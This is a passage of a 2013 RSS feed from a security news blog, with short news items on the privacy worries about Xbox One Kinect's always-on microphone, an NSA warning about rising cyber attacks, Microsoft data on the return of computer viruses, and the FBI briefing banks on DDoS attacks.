<p>The post <a href="http://www.welivesecurity.com/2013/05/22/small-business-cybercrime/">Small business cybercrime costs $6,000 a year, says British group</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/HwXeJl9Kps8" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/22/small-business-cybercrime/</feedburner:origLink></item>
		<item>
		<title>Xbox One Kinect microphone “always on” security fears</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/-_u49ZYhnDQ/</link>
		<comments>http://www.welivesecurity.com/2013/05/22/xbox-one-kinect-microphone/#comments</comments>
		<pubDate>Wed, 22 May 2013 13:01:10 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Kinect]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Xbox]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/22/xbox-one-kinect-microphone/</guid>
		<description><![CDATA[<p>The Xbox One Kinect microphone – one of the hi-tech new features of Microsoft’s new Xbox One console – has raised security concerns since it “listens” to users even when the console is turned off.</p><p>The post <a href="http://www.welivesecurity.com/2013/05/22/xbox-one-kinect-microphone/">Xbox One Kinect microphone “always on” security fears</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>The Xbox One Kinect microphone – one of the hi-tech new features of Microsoft’s new console – has raised security concerns since it “listens” to users even when the console is turned off.</p>
<p>Technology site <a title="Xbox One microphone" href="http://www.theverge.com/2013/5/21/4352596/the-xbox-one-is-always-listening" target="_blank">The Verge</a> likened the new console to the Telescreen from 1984, saying that the Xbox One Kinect microphone function raised concerns about the information available if the machine were to be compromised by a malicious actor.</p>
<p>The function is part of the console’s Kinect controller, which is now part of the Xbox One package. The new Xbox One has voice and gesture control built into its operating system.</p>
<p>Saying, “Xbox on” to the Kinect will switch on the console &#8211; which means that the console must “listen” constantly for commands, even when supposedly switched off. At Microsoft’s launch event in Seattle, demonstrators described the peripheral as the “eyes and ears of the living room”.</p>
<p>The sensor offers a Full HD infrared view, and is so sensitive it can read users’ heartbeats via tremors and colour changes invisible to the naked eye.<br />
The news raised concerns among fans. “I think it&#8217;s creepy that you can say &#8220;Xbox on&#8221; and it will turn on. It means it&#8217;s always listening to you,” said one Twitter user.</p>
<p>The Verge suggested that the “always on” microphone could have serious implications for privacy &#8211; possibly more so even than Google Glass. “The new Xbox could pose greater privacy implications &#8211; especially if the system, which many users will connect to the internet, is compromised remotely by a malicious actor,” said the site.</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/22/xbox-one-kinect-microphone/">Xbox One Kinect microphone “always on” security fears</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/-_u49ZYhnDQ" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/22/xbox-one-kinect-microphone/</feedburner:origLink></item>
		<item>
		<title>Cyber attacks on America “will get worse”, warns NSA director</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/21voTTyoTMk/</link>
		<comments>http://www.welivesecurity.com/2013/05/21/cyber-attacks-on-america-will-get-worse/#comments</comments>
		<pubDate>Tue, 21 May 2013 12:43:17 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[ATM fraud]]></category>
		<category><![CDATA[credit card fraud]]></category>
		<category><![CDATA[cyber attacks]]></category>
		<category><![CDATA[debit card fraud]]></category>
		<category><![CDATA[hackers]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/21/cyber-attacks-on-america-will-get-worse/</guid>
		<description><![CDATA[<p>Cyber attacks on America will continue to escalate, according to National Security Director Keith Alexander, speaking to the Reuters Cybersecurity Summit in Washington. “Disruptive and destructive attacks on our country will get worse," said Alexander, the leading U.S. general in charge of the nation’s cybersecurity.  "Mark my words, it will get worse."</p><p>The post <a href="http://www.welivesecurity.com/2013/05/21/cyber-attacks-on-america-will-get-worse/">Cyber attacks on America “will get worse”, warns NSA director</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>Cyber attacks on America will continue to escalate, according to National Security Director Keith Alexander, speaking to the Reuters Cybersecurity Summit in Washington.</p>
<p><span style="font-size: 13px; line-height: 19px;">“Disruptive and destructive attacks on our country will get worse,&#8221; said Alexander, the leading U.S. general in charge of the nation’s cybersecurity.  &#8220;Mark my words, it will get worse.&#8221;</span></p>
<p>Speaking at the <a title="Reuters Cybersecurity Summit" href="http://http://thomsonreuters.com/content/financial/pdf/676387/reuters-cybersecurity-summit" target="_blank">Reuters Cybersecurity Summit</a> in Washington last week, <span style="font-size: 13px; line-height: 19px;">Alexander described cyber espionage as “the greatest transfer of wealth in history.”</span></p>
<p>U.S. Secretary of Homeland Security Janet Napolitano said at the same summit that her main concern was with “the known unknown”.</p>
<p>Napolitano said that the recent heist which used ATM machines around the world to withdraw $45 million via prepaid debit cards offered an illustration of the scope of cybercrime.The <a title="atm cyber attack" href="http://www.welivesecurity.com/2013/05/11/worldwide-45m-atm-cyber-heist-exposes-weaknesses-in-card-security/" target="_blank">attack</a> <span style="font-size: 13px; line-height: 19px;">targeted prepaid credit cards. By raising the limit on cloned cards the hackers were able to withdraw “unlimited” funds for short periods. In New York, the hackers withdrew $2.8 million in hours.</span></p>
<p>“We don&#8217;t have the identity of all the adversaries who are trying to either commit crimes or acts over the cyber networks,” said Napolitano. “The things we know about, we can deal with. It&#8217;s the known unknown.”</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/21/cyber-attacks-on-america-will-get-worse/">Cyber attacks on America “will get worse”, warns NSA director</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/21voTTyoTMk" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/21/cyber-attacks-on-america-will-get-worse/</feedburner:origLink></item>
		<item>
		<title>Computer viruses “are making a comeback”, says Microsoft</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/ynCw_UgVI4E/</link>
		<comments>http://www.welivesecurity.com/2013/05/21/computer-viruses-making-comeback/#comments</comments>
		<pubDate>Tue, 21 May 2013 09:11:18 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[file injectors]]></category>
		<category><![CDATA[password stealers]]></category>
		<category><![CDATA[Trojan]]></category>
		<category><![CDATA[viruses]]></category>
		<category><![CDATA[Win32/Sality]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/21/computer-viruses-making-comeback/</guid>
		<description><![CDATA[<p>Computer viruses are making a comeback, according to Microsoft’s Director of Trustworthy Computing - with numbers rising globally in 2012. Tim Rains says that for several years, viruses have been “out of favour with attackers”, but points to statistics showing that they have made a comeback in 2012, at least in certain territories.</p><p>The post <a href="http://www.welivesecurity.com/2013/05/21/computer-viruses-making-comeback/">Computer viruses “are making a comeback”, says Microsoft</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>Computer viruses are making a comeback, according to Microsoft’s Director of Trustworthy Computing &#8211; with numbers rising globally in 2012.</p>
<p>Tim Rains says that for several years, computer viruses have been “out of favour with attackers”, but points to statistics showing that they have made a comeback in 2012, at least in certain territories.</p>
<p>Writing on the <a title="Microsoft Security Blog" href="http://blogs.technet.com/b/security/archive/2013/05/16/are-viruses-making-a-comeback.aspx" target="_blank">Microsoft Security Blog</a>, <span style="font-size: 13px; line-height: 19px;">Rains says, “I have rarely seen the virus threat category found on more than 5 percent of systems with detections globally. But more recently I have noticed that viruses seem to be making a comeback.  The relative prevalence of viruses has been trending up.  The prevalence worldwide for the virus threat category was 7.8 percent in the fourth quarter of 2012.”</span></p>
<p>Rains says that for the past few years, “Viruses simply didn’t support the profit motive many attackers had in the same way that Trojan downloaders and droppers, miscellaneous Trojans, and password stealers and monitoring tools all did.” But new threats designed to steal information are sparking a comeback.</p>
<p>Rains says that computer viruses proliferate in countries with low levels of broadband penetration, such as Egypt, Indonesia and Ethiopia, where software is updated rarely, and infection rates can be as high as 40%.</p>
<p>Pointing to the success of Win32/Sality, a family of polymorphic file injectors found on 8,204,434 computers worldwide, Rains says, “Sality is one of the top five detections on Windows XP.  Sality hasn’t been as successful on newer versions of Windows. Sality’s success proves that file infectors can be still be successful.  Unlike computer viruses from yesteryear, attackers today are trying to steal information, sometimes by turning on computers’ microphones and cameras.”</p>
<p>Rains says that defending against such threats is “relatively easy” &#8211; suggesting users update their system software frequently, and also run real-time antivirus, as well as using caution with removable media such as USB sticks and external hard drives.</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/21/computer-viruses-making-comeback/">Computer viruses “are making a comeback”, says Microsoft</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/ynCw_UgVI4E" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/21/computer-viruses-making-comeback/</feedburner:origLink></item>
		<item>
		<title>FBI shares information on cyber attacks with US banks</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/ahRT-RvOhHg/</link>
		<comments>http://www.welivesecurity.com/2013/05/19/fbi-shares-info-on-cyber-attacks-with-us-banks/#comments</comments>
		<pubDate>Sun, 19 May 2013 20:14:57 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[DDoS]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/19/fbi-shares-info-on-cyber-attacks-with-us-banks/</guid>
		<description><![CDATA[<p>The FBI has offered temporary security clearances to security officers from U.S. banks in order to share information into repeated cyber attacks which have disrupted online banking websites in recent months.</p><p>The post <a href="http://www.welivesecurity.com/2013/05/19/fbi-shares-info-on-cyber-attacks-with-us-banks/">FBI shares information on cyber attacks with US banks</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>The FBI has offered temporary security clearances to officers from financial institutions in order to share information into repeated cyber attacks with US banks which have disrupted online banking websites in recent months.</p>
<p>Bank security officers were invited to a classified video conference held at 40 FBI field offices around the country, according to FBI Executive Assistant Director Richard McFeely.</p>
<p>The video conference offered insight into “who was behind the keyboards,” according to McFeely, speaking to at the <a title="http://thomsonreuters.com/content/financial/pdf/676387/reuters-cybersecurity-summit" href="http://thomsonreuters.com/content/financial/pdf/676387/reuters-cybersecurity-summit" target="_blank">Reuters Cybersecurity Summit</a>.</p>
<p>Customer accounts have not been put at risk by the attacks – although the sustained DDoS attacks have meant it has been impossible to access bank websites. One <a title="http://www.welivesecurity.com/2013/04/04/bank-cybercrime-call-for-new-cyber-laws-after-major-us-banks-knocked-offline-for-249-hours-in-six-weeks/" href="http://www.welivesecurity.com/2013/04/04/bank-cybercrime-call-for-new-cyber-laws-after-major-us-banks-knocked-offline-for-249-hours-in-six-weeks/" target="_blank">NBC report</a> claimed that the websites of 15 major banks were offline for a total of 249 hours in six weeks earlier this year.</p>
<p>Earlier this year President Barack Obama signed an executive order to improve information-sharing between companies and branches of government, saying, “&#8221;We cannot look back years from now and wonder why we did nothing in the face of real threats to our security and our economy.&#8221;</p>
<p>Banks such as Wells Fargo and Bank of America were first attacked in September 2012, by a group calling itself Izz ad-Din al-Qassam Cyber Fighters. The attacks have continued since then. McFeely declined to discuss who was behind the attacks, or other details of the continuing investigation.</p>
<p>McFeely said that the one-day security clearances are part of an effort to communicate more effectively with victims of cybercrime, admitting that the agency had been “terrible” in the past. “That’s 180 degrees from where we are now,” McFeely said.</p>
<p>McFeely said, “&#8221;The first time we bring someone in from out of the country in handcuffs, that&#8217;s going to be a big deal.”</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/19/fbi-shares-info-on-cyber-attacks-with-us-banks/">FBI shares information on cyber attacks with US banks</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/ahRT-RvOhHg" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/19/fbi-shares-info-on-cyber-attacks-with-us-banks/</feedburner:origLink></item>
	</channel>
</rss>
